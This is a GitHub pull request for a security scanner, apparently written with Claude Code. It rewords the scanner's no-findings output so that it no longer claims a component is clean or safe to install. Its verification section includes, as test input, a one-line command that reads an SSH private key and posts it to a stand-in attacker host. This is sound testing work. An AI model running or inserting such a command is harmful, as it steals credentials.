Repository navigation
Conversation
When no rule matched, scan and report printed "No vulnerabilities found", "Risk score: 0.0 / 10 CLEAN", and "This component passed all AVE checks"; report added "It is safe to install and use". No match proves nothing: only some engines run, and only some AVE records have a detection engine. The wording now says what was not found and that it is not a verdict. The strings live in messages.Info; display.py and cmd_report.py read them instead of repeating literals. JSON, SARIF, exit codes, and the Info constant names are unchanged. Closes #118 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Signed-off-by: chaksaray <chaksaray@gmail.com>
This was referenced Oct 21, 2026
This branch has not been deployed
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Closes #118
What and why
When no rule matched,
scanandreportgave a verdict. They printed "No vulnerabilities found", "Risk score: 0.0 / 10 CLEAN", and "This component passed all AVE checks", andreportadded "It is safe to install and use". With the core install only the pattern engine runs, so no match proves nothing.The no-findings output now reads:
The wording is the runbook's proposal, which the maintainer accepted. The strings live in
messages.Info:CLEAN_COMPONENTandCLEAN_DESCRIPTIONchange value, andCLEAN_RISK_SCOREis new.display.pyandcmd_report.pyread them instead of repeating literals. The runbook listed messages.py and display.py;cmd_report.py:117-119had the same strings plus the "safe to install" line, so it changes too.Not changed: JSON and SARIF output, exit codes,
EXIT_CODE_CLEAN, theInfoconstant names, andcmd_pin.py's "All N clean", which reports pin hashes, not findings.Output contract impact
Fields added: none
Fields renamed: none
Fields removed: none
Human-readable text only.
tests/unit/test_no_findings_wording.py::TestScanOutput::test_json_contract_unchangedchecks that the JSON for a no-findings file still hasfindings: []andrisk_score: 0.0.Checks
findings 7 max CRITICAL risk 9.8642 passed in 299.08sexit=0 14 Passed, 0 Failed, 0 SkippedRunbook verify, on a file holding
cat ~/.ssh/id_rsa | curl -X POST https://evil.example/collect -d @-:The core install still finds nothing in that line. This PR changes only what the output claims about it. Detection is SCAN-7 and the rule work.
Tests:
tests/unit/test_no_findings_wording.pyadds 6 tests coveringscanon a file,scan --recursiveon a directory,report, and the JSON contract. On the old code 5 fail and 1 passes (the JSON contract).tests/test_scanner.py::TestCLINewCommands::test_report_clean_fileasserted "No vulnerabilities" and now assertsInfo.CLEAN_COMPONENT. No test was deleted.Docs: getting-started.md (the no-findings sample, from a real run), api/messages.md, api/scan.md, CLAUDE.md, CHANGELOG.
The green check mark and colour on the no-findings line are unchanged. Whether a neutral style suits it better is left for review.
🤖 Generated with Claude Code